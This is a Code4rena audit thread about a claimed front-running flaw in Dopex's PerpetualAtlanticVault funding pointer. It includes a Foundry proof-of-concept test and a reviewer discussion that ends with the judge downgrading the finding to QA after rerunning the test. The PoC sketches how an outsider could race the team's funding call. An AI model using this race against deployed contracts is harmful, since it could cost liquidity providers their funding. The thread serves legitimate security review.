code423n4 commented 1 year ago

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/perp-vault/PerpetualAtlanticVault.sol#L372-L396

Vulnerability details

Summary

Every epoch (week) through the core contract, funding payment is done to the Atlantic Perpetual PUTS Options vault (APP). This is done manually by the team and must be done at the start of each epoch:

Note that the funding has to be paid at the start of each epoch

What is left out of the documentation, and is an issue, is that if the funding is not distributed before the internal epoch pointer is incremented then it can never be done for that epoch any more, meaning funding will be permanently lost for it. This is a particular grave issue that needs to be taken into account by any users interacting with the protocol.

Using this hard requirement and the ability for anyone to increment the epoch pointer, a malicious actor can increment the pointer (by calling PerpetualAtlanticVault::updateFundingPaymentPointer) exactly as the new epoch has started.

Although Arbitrum EVM chain does not provide a means to identify what transactions are "pending", is is safe to assume that the protocol team would want to distribute funding (by calling RdpxV2Core::provideFunding) as soon as it can, thus, exact when it is possible, a malicious actor can send his own transaction with a significant gas, to make sure it is arrives first at the sequencer and is executed as such.

Vulnerability Details

The Core Contract pays this pool LPs funding every week when protocol team calls RdpxV2Core::provideFunding which in turn executes the funds transfer via in PerpetualAtlanticVault::payFunding:

  /// @inheritdoc       IPerpetualAtlanticVault
  function payFunding() external onlyRole(RDPXV2CORE_ROLE) returns (uint256) {
    _whenNotPaused();
    _isEligibleSender();

    // code ...

    collateralToken.safeTransferFrom(
      addresses.rdpxV2Core,
      address(this),
      totalFundingForEpoch[latestFundingPaymentPointer]
    );

    // code ...
  }

The payment funds are accounted for in the totalFundingForEpoch[latestFundingPaymentPointer] map/pointer pair.

latestFundingPaymentPointer is incremented when PerpetualAtlanticVault::updateFundingPaymentPointer is called (and if is the case), in these situations exactly:

direct updateFundingPaymentPointer call, since anyone can call it.
when funding amount for the "new" epoch is calculated via calculateFunding (also callable by anyone)
when updateFunding is called

updateFundingPaymentPointer increments the latestFundingPaymentPointer variable current block time is at, or over the next calculated funding payment timestamp:

    while (block.timestamp >= nextFundingPaymentTimestamp()) {

Where PerpetualAtlanticVault::nextFundingPaymentTimestamp is deterministically calculated from genesisL

  /// @inheritdoc       IPerpetualAtlanticVault
  function nextFundingPaymentTimestamp()
    public
    view
    returns (uint256 timestamp)
  {
    return genesis + (latestFundingPaymentPointer * fundingDuration);
  }

A malicious actor can calculate the exact moment when calling PerpetualAtlanticVault::updateFundingPaymentPointer would increment the pointer and initiate a call with a very high gas at exact that moment, in oder to possibly front-run any protocol team call to RdpxV2Core::provideFunding and slash the funding tokens.

Add the following POC to tests\rdpxV2-core\Unit.t.sol and run it via forge test --match-test testBlockingFundingPayment -vv

It depicts how, because RdpxV2Core::provideFunding needs to be calculated as soon as the previous epoch ended (because PerpetualAtlanticVault::payFunding can be called only once per epoch and needs to be called on the end of the epoch), rewards are slashed and function reverts.

  function testBlockingFundingPayment() public {

    // initial setup
    rdpxV2Core.bond(10 * 1e18, 0, address(1));
    rdpxV2Core.bond(10 * 1e18, 0, address(2));
    // update rdpx to (.312 eth)
    address[] memory path;
    path = new address[](2);
    path[0] = address(weth);
    path[1] = address(rdpx);
    router.swapExactTokensForTokens(
      500e18,
      0,
      path,
      address(this),
      block.timestamp
    );

    rdpxPriceOracle.updateRdpxPrice(312 * 1e5);
    rdpxV2Core.bond(5 * 1e18, 0, address(3));
    skip(86400 * 7);
    vault.addToContractWhitelist(address(rdpxV2Core));
    vault.updateFundingPaymentPointer();

    // test setup for funding
    uint256[] memory strikes = new uint256[](2);
    strikes[0] = 15e6;
    strikes[1] = 24000000;
    vault.calculateFunding(strikes);

    uint256 funding = vault.totalFundingForEpoch(
      vault.latestFundingPaymentPointer()
    );

    // send funding to rdpxV2Core and call sync
    weth.transfer(address(rdpxV2Core), funding);
    rdpxV2Core.sync();

    address bob = makeAddr("bob");    

    // mimic that enough time has passed so that we technically are in the new pointer but it is not updated yet
    skip(86400 * 7);

    // malicious actor updates the funding pointer before team has called provide funding 
    // meaning that now the pointer is incremented and there is no chance of going back   
    vm.prank(bob);
    vault.updateFundingPaymentPointer();

    // funding if called now will revert because of the initial condition that the totalActiveOptions
    // is not equal to the fundingPaymentsAccountedFor, since no funding happened in this pointer

    vm.expectRevert(
      abi.encodeWithSelector(PerpetualAtlanticVault.PerpetualAtlanticVaultError.selector, 6)
    );
    rdpxV2Core.provideFunding();

    // show that total funding for epoch has been slashed
    assertEq(vault.totalFundingForEpoch(
      vault.latestFundingPaymentPointer()),
      0
    );
  }

Impact

Weekly Atlantic Perpetual vault funding payment can be slashed by malicious actor

Tools Used

Manual review.

Recommendations

Two possible suggestions are:

Add access control on all functions that can increment the funding payment pointer. This way the team calls it correctly when needed. This solution adds more centralization but it's the "quickest" (although not necessarily beneficial in the long run).
Implement a snapshot system and integrate it with the funding mechanism; extend the funding payment function with it to be able to work with unprocessed epochs, not with last epoch only. This solution brings more overhead but it also correctly resolves any future issues in this direction.

Assessed type

Access Control

bytes032 commented 1 year ago

LQ because of front-running on Arb

c4-pre-sort commented 1 year ago

bytes032 marked the issue as low quality report

c4-judge commented 1 year ago

GalloDaSballo changed the severity to 2 (Med Risk)

c4-judge commented 1 year ago

GalloDaSballo marked the issue as primary issue

c4-judge commented 1 year ago

GalloDaSballo marked the issue as selected for report

GalloDaSballo commented 1 year ago

Front-running is not a pre-requisite for this, an attacker and the sponsor may be in a race condition which is outside of either control, meaning this is plausible

GalloDaSballo commented 1 year ago

That unless the call to provideFunding could have been done for the entirety of the epoch, meaning this is not intended usage

141345 commented 1 year ago

This one seems invalid. And https://github.com/code-423n4/2023-08-dopex-findings/issues/1341#issuecomment-1774090117 also address it.

From the while loop in line 463 in updateFundingPaymentPointer(), we can see latestFundingPaymentPointer is guaranteed to point to next week, not possible one more week ahead. If latestFundingPaymentPointer is already updated, calling updateFundingPaymentPointer() wont have any effect due to line 463.

The admin has enough time to call payFunding() within this week (assuming now is wednesday, there is still 3 days to go). Unless admin mistake, wait until the last minute of this week, and accidentally miss it.

In another word, the mechanism design for the variable latestFundingPaymentPointer and function updateFundingPaymentPointer() work as expected.

File: contracts\perp-vault\PerpetualAtlanticVault.sol
563:   function nextFundingPaymentTimestamp()
566:     returns (uint256 timestamp)
567:   {
568:     return genesis + (latestFundingPaymentPointer * fundingDuration);
569:   }

462:   function updateFundingPaymentPointer() public {
463:     while (block.timestamp >= nextFundingPaymentTimestamp()) {
464:       if (lastUpdateTime < nextFundingPaymentTimestamp()) {
465:         uint256 currentFundingRate = fundingRates[latestFundingPaymentPointer];
466: 
467:         uint256 startTime = lastUpdateTime == 0
468:           ? (nextFundingPaymentTimestamp() - fundingDuration)
469:           : lastUpdateTime;
470: 
471:         lastUpdateTime = nextFundingPaymentTimestamp();
472: 
473:         collateralToken.safeTransfer(
474:           addresses.perpetualAtlanticVaultLP,
475:           (currentFundingRate * (nextFundingPaymentTimestamp() - startTime)) /
476:             1e18
477:         );
478: 
479:         IPerpetualAtlanticVaultLP(addresses.perpetualAtlanticVaultLP)
480:           .addProceeds(
481:             (currentFundingRate * (nextFundingPaymentTimestamp() - startTime)) /
482:               1e18
483:           );

491:       }

493:       latestFundingPaymentPointer += 1;

495:     }
496:   }

abarbatei commented 1 year ago

Touching on what @141345 mentioned, the behavior of updateFundingPaymentPointer he described is true but:

The admin has enough time to call payFunding() within this week (assuming now is wednesday, there is still 3 days to go). Unless admin mistake, wait until the last minute of this week, and accidentally miss it.

The admin cannot (will not) do that in advance because:

from the moment funding is calculated (call calculateFunding, a required pre-requisite) funding cannot be then recalculated for those strike prices in the epoch
- it is in the interest of the protocol to postpone this to the end of the epoch
payFunding can be called only once per epoch and is needed to be called after calculateFunding

This entire project has several race conditions like the above mentioned which are specifically treated by the team. In this case, the payment is done (as previously mentioned) at the start of a new epoch (to maximize funding calculation)

Note that the funding has to be paid at the start of each epoch

Taking the above into consideration the issue is very much possible.

GalloDaSballo commented 1 year ago

After running the POC and tweaking it

I originally thought that there was a race condition which prevented calling the calculateFunding and provideFunding functions if updateFundingPaymentPointer was called before them, but that doesn't seem to be the case

Swapping the line


    vm.prank(bob);
    vault.updateFundingPaymentPointer();

     vault.calculateFunding(strikes);

Yields the same results:

No revert
Non Zero funding
Pointer is 2 both cases

Running 1 test for tests/rdpxV2-core/Unit.t.sol:Unit
[FAIL. Reason: Assertion failed.] testBlockingFundingPayment() (gas: 2506846)
Logs:
  Error: a == b not satisfied [uint]
        Left: 1422686098679487179
       Right: 0
  vault.latestFundingPaymentPointer() 2

Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 1.36s

Ran 1 test suites: 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in tests/rdpxV2-core/Unit.t.sol:Unit
[FAIL. Reason: Assertion failed.] testBlockingFundingPayment() (gas: 2506846)

Encountered a total of 1 failing tests, 0 tests succeeded
[⠔] Compiling...
[⠊] Compiling 1 files with 0.8.19
[⠢] Solc 0.8.19 finished in 11.59s
Compiler run successful!

Running 1 test for tests/rdpxV2-core/Unit.t.sol:Unit
[FAIL. Reason: Assertion failed.] testBlockingFundingPayment() (gas: 2506835)
Logs:
  Error: a == b not satisfied [uint]
        Left: 1422686098679487179
       Right: 0
  vault.latestFundingPaymentPointer() 2

abarbatei commented 1 year ago

Hey, thanks for taking the time to look more deep into this. I hope I am not overstepping, I wanted to add more clarity, I may be wrong but from my understanding:

Before calling updateFundingPaymentPointer or calculateFunding you are in epoch 1

updateFundingPaymentPointer only increments epoch count (if needed)
calculateFunding
- increments epoch count (if needed) and calculates the funding needed to be paid for current epoch (epoch 2 in our case)
- when calculating funding needed it increments fundingPaymentsAccountedFor among others which is checked in payFunding and reverts if not valid (as indicated in POC)

I detailed, for another submission, a bit the normal "happy path" flow here: https://gist.github.com/abarbatei/1522750c3a61f8db3d86d25a1391bb31 (just the diagram and relevant actions are of use)

The POC itself works as it is. Is this true for you? I could not deduce that clearly from your message.

If I understood what you modified correctly then if you added a new calculateFunding call in the POC you basically already set the new epoch and calculated funding for it, meaning that payFunding will now work because it's paying funding for epoch 2, when the issue that it hasn't paid funding for epoch 1 still exists because it was skipped due to the pointer increment. Exactly because you are in a new epoch for which you already calculated funding, it is not 0.

GalloDaSballo commented 1 year ago

Doesn't seem to be the case

GalloDaSballo commented 1 year ago

Logs:
  Error: a == b not satisfied [uint]
        Left: 1422686098679487179
       Right: 0
  vault.fundingPaymentsAccountedForPerStrike() 24516480730000000000
  vault.fundingPaymentsAccountedForPerStrike() 24516480730000000000
  vault.fundingPaymentsAccountedForPerStrike() 24516480730000000000

  vault.fundingPaymentsAccountedForPerStrike() 3937241243589743589
  vault.fundingPaymentsAccountedForPerStrike() 3937241243589743589
  vault.fundingPaymentsAccountedForPerStrike() 3937241243589743589

Logs:
  Error: a == b not satisfied [uint]
        Left: 1422686098679487179
       Right: 0
  vault.fundingPaymentsAccountedForPerStrike() 24516480730000000000
  vault.fundingPaymentsAccountedForPerStrike() 24516480730000000000
  vault.fundingPaymentsAccountedForPerStrike() 24516480730000000000

  vault.fundingPaymentsAccountedForPerStrike() 3937241243589743589
  vault.fundingPaymentsAccountedForPerStrike() 3937241243589743589
  vault.fundingPaymentsAccountedForPerStrike() 3937241243589743589

GalloDaSballo commented 1 year ago

Full POC

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.19;

import {Test} from "forge-std/Test.sol";
import {console2} from "forge-std/console2.sol";

import {ERC721Holder} from "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol";
import {Setup} from "./Setup.t.sol";

// Core contracts
import {RdpxV2Core} from "contracts/core/RdpxV2Core.sol";
import {PerpetualAtlanticVault} from "contracts/perp-vault/PerpetualAtlanticVault.sol";

// Interfaces
import {IStableSwap} from "contracts/interfaces/IStableSwap.sol";

contract Unit is ERC721Holder, Setup {

    function testBlockingFundingPayment() public {

    // initial setup
    rdpxV2Core.bond(10 * 1e18, 0, address(1));
    rdpxV2Core.bond(10 * 1e18, 0, address(2));
    // update rdpx to (.312 eth)
    address[] memory path;
    path = new address[](2);
    path[0] = address(weth);
    path[1] = address(rdpx);
    router.swapExactTokensForTokens(
      500e18,
      0,
      path,
      address(this),
      block.timestamp
    );

    rdpxPriceOracle.updateRdpxPrice(312 * 1e5);
    rdpxV2Core.bond(5 * 1e18, 0, address(3));
    skip(86400 * 7);
    vault.addToContractWhitelist(address(rdpxV2Core));
    vault.updateFundingPaymentPointer();

    // test setup for funding
    uint256[] memory strikes = new uint256[](2);
    strikes[0] = 15e6;
    strikes[1] = 24000000;
    vault.calculateFunding(strikes);

    uint256 funding = vault.totalFundingForEpoch(
      vault.latestFundingPaymentPointer()
    );

    // send funding to rdpxV2Core and call sync
    weth.transfer(address(rdpxV2Core), funding);
    rdpxV2Core.sync();

    address bob = makeAddr("bob");    

    // mimic that enough time has passed so that we technically are in the new pointer but it is not updated yet
    skip(86400 * 7);

    // malicious actor updates the funding pointer before team has called provide funding 
    // meaning that now the pointer is incremented and there is no chance of going back   

    vm.prank(bob);
    vault.updateFundingPaymentPointer();

    vault.calculateFunding(strikes);

    // funding if called now will revert because of the initial condition that the totalActiveOptions
    // is not equal to the fundingPaymentsAccountedFor, since no funding happened in this pointer

    // vm.expectRevert(
    //   abi.encodeWithSelector(PerpetualAtlanticVault.PerpetualAtlanticVaultError.selector, 6)
    // );
    rdpxV2Core.provideFunding();

    // show that total funding for epoch has been slashed
    assertEq(vault.totalFundingForEpoch(
      vault.latestFundingPaymentPointer()),
      0
    );

    console2.log("vault.fundingPaymentsAccountedForPerStrike()", vault.fundingPaymentsAccountedForPerStrike(0, strikes[0]));
    console2.log("vault.fundingPaymentsAccountedForPerStrike()", vault.fundingPaymentsAccountedForPerStrike(1, strikes[0]));
    console2.log("vault.fundingPaymentsAccountedForPerStrike()", vault.fundingPaymentsAccountedForPerStrike(2, strikes[0]));
    console2.log("");
    console2.log("");

    console2.log("vault.fundingPaymentsAccountedForPerStrike()", vault.fundingPaymentsAccountedForPerStrike(0, strikes[1]));
    console2.log("vault.fundingPaymentsAccountedForPerStrike()", vault.fundingPaymentsAccountedForPerStrike(1, strikes[1]));
    console2.log("vault.fundingPaymentsAccountedForPerStrike()", vault.fundingPaymentsAccountedForPerStrike(2, strikes[1]));
  }
}

GalloDaSballo commented 1 year ago

I believed there was a racing condition, but it seems like this should not happen, and the Admin Providing funding will repay those funds

Because the pre-requisite is the Admin Privilege, which was already disclosed, I believe QA is most appropriate

c4-judge commented 1 year ago

GalloDaSballo changed the severity to QA (Quality Assurance)

c4-judge commented 1 year ago

GalloDaSballo marked the issue as not selected for report

code-423n4 / 2023-08-dopex-findings

Funding can be slashed by malicious actor by front-running `RdpxV2Core::provideFunding` #496

Lines of code

Vulnerability details

Summary

Vulnerability Details

Impact

Tools Used

Recommendations

Assessed type